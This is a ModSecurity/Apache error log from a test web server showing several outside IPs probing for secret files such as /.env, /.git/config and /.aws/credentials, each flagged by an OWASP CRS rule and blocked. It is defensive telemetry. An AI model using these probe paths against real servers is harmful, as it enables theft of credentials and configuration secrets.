[Wed Jul 17 21:49:32.446166 2024] [:error] [pid 520006] [client 159.89.17.243:41656] [client 159.89.17.243] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "ZpggTIww-yyT8-Lt6USt_gAAAAg"]
[Wed Jul 17 21:49:32.446662 2024] [:error] [pid 520006] [client 159.89.17.243:41656] [client 159.89.17.243] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "ZpggTIww-yyT8-Lt6USt_gAAAAg"]
[Wed Jul 17 21:49:32.447131 2024] [:error] [pid 520006] [client 159.89.17.243:41656] [client 159.89.17.243] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "ZpggTIww-yyT8-Lt6USt_gAAAAg"]
[Wed Jul 17 21:49:32.500207 2024] [:error] [pid 520029] [client 159.89.17.243:41666] [client 159.89.17.243] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZpggTCNZkCkewUUbRN_nbQAAAAI"]
[Wed Jul 17 21:49:32.500740 2024] [:error] [pid 520029] [client 159.89.17.243:41666] [client 159.89.17.243] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZpggTCNZkCkewUUbRN_nbQAAAAI"]
[Wed Jul 17 21:49:32.501227 2024] [:error] [pid 520029] [client 159.89.17.243:41666] [client 159.89.17.243] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZpggTCNZkCkewUUbRN_nbQAAAAI"]
[Wed Jul 17 21:49:32.556607 2024] [:error] [pid 520033] [client 159.89.17.243:41674] [client 159.89.17.243] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZpggTEsK_bPeklVbG1hRTQAAAAc"]
[Wed Jul 17 21:49:32.557212 2024] [:error] [pid 520033] [client 159.89.17.243:41674] [client 159.89.17.243] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZpggTEsK_bPeklVbG1hRTQAAAAc"]
[Wed Jul 17 21:49:32.557675 2024] [:error] [pid 520033] [client 159.89.17.243:41674] [client 159.89.17.243] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZpggTEsK_bPeklVbG1hRTQAAAAc"]
[Fri Jul 19 03:45:35.560137 2024] [:error] [pid 547732] [client 179.43.149.114:44168] [client 179.43.149.114] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZpnFP2vU50dbik13fExLmwAAAAQ"]
[Fri Jul 19 03:45:35.560723 2024] [:error] [pid 547732] [client 179.43.149.114:44168] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZpnFP2vU50dbik13fExLmwAAAAQ"]
[Fri Jul 19 03:45:35.561145 2024] [:error] [pid 547732] [client 179.43.149.114:44168] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZpnFP2vU50dbik13fExLmwAAAAQ"]
[Fri Jul 19 03:45:35.593871 2024] [:error] [pid 549350] [client 179.43.149.114:44186] [client 179.43.149.114] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "ZpnFP_l8mU-u2C9CHwM9VAAAAAs"]
[Fri Jul 19 03:45:35.594114 2024] [:error] [pid 549350] [client 179.43.149.114:44186] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "ZpnFP_l8mU-u2C9CHwM9VAAAAAs"]
[Fri Jul 19 03:45:35.594309 2024] [:error] [pid 549350] [client 179.43.149.114:44186] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "ZpnFP_l8mU-u2C9CHwM9VAAAAAs"]
[Fri Jul 19 03:45:35.632826 2024] [:error] [pid 549351] [client 179.43.149.114:44200] [client 179.43.149.114] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "ZpnFP_cFxpYPL2jg8WaQZQAAAAw"]
[Fri Jul 19 03:45:35.633406 2024] [:error] [pid 549351] [client 179.43.149.114:44200] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "ZpnFP_cFxpYPL2jg8WaQZQAAAAw"]
[Fri Jul 19 03:45:35.633961 2024] [:error] [pid 549351] [client 179.43.149.114:44200] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "ZpnFP_cFxpYPL2jg8WaQZQAAAAw"]
[Fri Jul 19 03:45:35.679261 2024] [:error] [pid 547730] [client 179.43.149.114:44206] [client 179.43.149.114] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "ZpnFP6YVo8Rc7SqwsLfQZgAAAAI"]
[Fri Jul 19 03:45:35.679789 2024] [:error] [pid 547730] [client 179.43.149.114:44206] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "ZpnFP6YVo8Rc7SqwsLfQZgAAAAI"]
[Fri Jul 19 03:45:35.680218 2024] [:error] [pid 547730] [client 179.43.149.114:44206] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "ZpnFP6YVo8Rc7SqwsLfQZgAAAAI"]
[Fri Jul 19 03:45:35.710389 2024] [:error] [pid 549346] [client 179.43.149.114:44216] [client 179.43.149.114] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "ZpnFP3g8Tkflp-3nVDd1qAAAAAc"]
[Fri Jul 19 03:45:35.710600 2024] [:error] [pid 549346] [client 179.43.149.114:44216] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "ZpnFP3g8Tkflp-3nVDd1qAAAAAc"]
[Fri Jul 19 03:45:35.710746 2024] [:error] [pid 549346] [client 179.43.149.114:44216] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "ZpnFP3g8Tkflp-3nVDd1qAAAAAc"]
[Fri Jul 19 03:45:41.280846 2024] [:error] [pid 547731] [client 179.43.149.114:52480] [client 179.43.149.114] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "ZpnFRbtJqceZFYlndpS4bAAAAAM"]
[Fri Jul 19 03:45:41.281254 2024] [:error] [pid 547731] [client 179.43.149.114:52480] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "ZpnFRbtJqceZFYlndpS4bAAAAAM"]
[Fri Jul 19 03:45:41.281613 2024] [:error] [pid 547731] [client 179.43.149.114:52480] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "ZpnFRbtJqceZFYlndpS4bAAAAAM"]
[Fri Jul 19 03:45:41.319186 2024] [:error] [pid 547729] [client 179.43.149.114:52486] [client 179.43.149.114] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "ZpnFRXWxM9G_vc6PgPZVaAAAAAE"]
[Fri Jul 19 03:45:41.319707 2024] [:error] [pid 547729] [client 179.43.149.114:52486] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "ZpnFRXWxM9G_vc6PgPZVaAAAAAE"]
[Fri Jul 19 03:45:41.320011 2024] [:error] [pid 547729] [client 179.43.149.114:52486] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "ZpnFRXWxM9G_vc6PgPZVaAAAAAE"]
[Sat Jul 20 12:38:52.035870 2024] [:error] [pid 572154] [client 179.43.188.122:36686] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZpuTvFAqJusD3srfqqPaPAAAAAw"]
[Sat Jul 20 12:38:52.036709 2024] [:error] [pid 572154] [client 179.43.188.122:36686] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZpuTvFAqJusD3srfqqPaPAAAAAw"]
[Sat Jul 20 12:38:52.037173 2024] [:error] [pid 572154] [client 179.43.188.122:36686] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZpuTvFAqJusD3srfqqPaPAAAAAw"]
[Sat Jul 20 21:12:13.147475 2024] [:error] [pid 572291] [client 179.43.188.122:47388] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZpwMDQecEnNtiQht0MFzkgAAAAA"]
[Sat Jul 20 21:12:13.149454 2024] [:error] [pid 572291] [client 179.43.188.122:47388] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZpwMDQecEnNtiQht0MFzkgAAAAA"]
[Sat Jul 20 21:12:13.149888 2024] [:error] [pid 572291] [client 179.43.188.122:47388] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZpwMDQecEnNtiQht0MFzkgAAAAA"]
[Sun Jul 21 00:33:34.256185 2024] [:error] [pid 589009] [client 45.148.10.230:49966] [client 45.148.10.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zpw7Ps3NDp8_UjCkLrlaZgAAAAY"]
[Sun Jul 21 00:33:34.256983 2024] [:error] [pid 589009] [client 45.148.10.230:49966] [client 45.148.10.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zpw7Ps3NDp8_UjCkLrlaZgAAAAY"]
[Sun Jul 21 00:33:34.257425 2024] [:error] [pid 589009] [client 45.148.10.230:49966] [client 45.148.10.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zpw7Ps3NDp8_UjCkLrlaZgAAAAY"]
[Sun Jul 21 12:45:05.852186 2024] [:error] [pid 591451] [client 194.55.186.87:50778] [client 194.55.186.87] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZpzmsXrY20R6_4vya-M4YgAAAAQ"]
